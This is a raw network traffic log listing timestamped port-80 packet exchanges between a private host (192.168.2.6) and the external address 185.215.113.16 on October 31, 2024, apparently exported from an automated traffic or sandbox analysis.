Oct 31, 2024 01:19:16.091806889 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091819048 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091830969 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091837883 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091864109 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091867924 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091877937 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091888905 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091901064 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091903925 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091912031 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091924906 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091931105 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091938019 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091950893 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091962099 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.091964006 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.091974020 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092006922 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092019081 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092031002 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092041016 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092051983 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092057943 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092077971 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092087030 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092096090 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092108011 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092113972 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092118979 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092130899 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092139959 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092149973 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092161894 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092168093 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092170954 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092184067 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092196941 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092210054 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092211008 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092232943 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092233896 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092246056 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092256069 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092257977 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092272043 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092281103 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092293024 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092298031 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092303991 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092323065 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092324018 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092339993 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092343092 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092353106 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092363119 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092366934 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092375040 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092386007 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092386007 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092396975 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092398882 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092447996 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092466116 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092947006 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092958927 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092987061 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.092997074 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.092998028 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.093009949 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.093022108 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.093031883 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.093034029 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.093046904 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.093050003 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.093060970 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.093070030 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.093103886 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.093161106 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.093204975 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.093369007 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.093409061 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.093456030 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.093466997 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.093493938 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.093506098 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.129833937 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.129854918 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.129869938 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.129892111 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.129913092 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130069971 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130081892 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130093098 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130105019 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130114079 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130116940 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130130053 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130141973 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130145073 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130157948 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130163908 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130172968 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130182981 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130187035 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130201101 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130212069 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130230904 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130249023 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130389929 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130419016 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130436897 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130444050 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130455971 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130467892 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130475998 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130496979 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130513906 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130538940 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130549908 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130557060 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130569935 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130577087 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130580902 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130594015 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130595922 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130605936 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130615950 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130635023 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130647898 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130660057 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130660057 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130682945 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130687952 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130703926 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130707026 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130717039 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130722046 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130731106 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130740881 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130743980 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130754948 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130758047 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130768061 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130776882 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130781889 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130794048 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130801916 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130820990 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130845070 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130865097 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130878925 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130888939 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130902052 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130912066 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130913019 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130924940 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130943060 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130943060 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130954981 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130955935 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130966902 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.130980015 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.130981922 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131000042 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131010056 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131025076 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131032944 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131042957 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131055117 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131057978 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131076097 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131091118 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131113052 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131154060 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131165981 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131176949 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131205082 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131222963 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131237984 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131266117 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131274939 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131277084 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131302118 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131328106 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131341934 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131360054 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131371021 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131381989 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131383896 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131391048 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131401062 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131411076 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131419897 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131429911 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131433964 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131443024 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131460905 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131474018 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131496906 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131522894 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131535053 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131537914 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131557941 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131575108 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131604910 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131617069 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131633997 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131643057 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131644011 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131658077 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131659031 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131675959 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131680012 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131691933 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131705046 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131727934 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131736040 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131740093 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131767035 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131792068 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131860018 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131896973 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131897926 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131911039 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131931067 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131953955 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.131979942 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.131992102 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132009029 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132013083 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132026911 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132031918 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132050991 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132051945 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132064104 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132076025 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132076979 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132090092 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132091045 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132102013 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132108927 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132121086 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132122040 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132133961 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132134914 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132148981 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132157087 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132168055 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132179022 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132184982 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132201910 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132205009 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132227898 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132227898 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132241964 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132244110 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132255077 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132265091 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132278919 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132297039 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132375002 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132405043 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132416010 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132416010 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132441998 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132455111 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132499933 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132510900 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132523060 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132539988 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132550001 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132558107 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132565022 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132585049 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132601976 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132607937 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132612944 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132625103 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132636070 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132647038 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132649899 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132667065 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132674932 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132680893 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132685900 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132713079 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132725954 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132730007 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132738113 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132747889 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.132786036 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.132812977 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.133409023 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.133439064 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.133449078 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.133459091 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.133471966 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.133493900 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.133536100 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.133547068 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.133558035 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.133570910 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.133577108 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.133606911 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.133616924 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.133629084 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.133639097 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.133655071 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.133682966 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.133894920 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.133917093 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.133929014 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.133936882 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.133966923 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.134013891 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.134042978 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.134052992 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.134062052 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.134073019 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.134079933 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.134085894 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.134093046 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.134098053 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.134113073 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.134135962 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.134871960 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.134921074 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.134948969 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.134967089 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.134979963 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.134990931 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.134995937 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.135006905 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.135014057 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.135037899 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.135063887 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.135217905 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.135236025 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.135247946 CET	80	49995	185.215.113.16	192.168.2.6
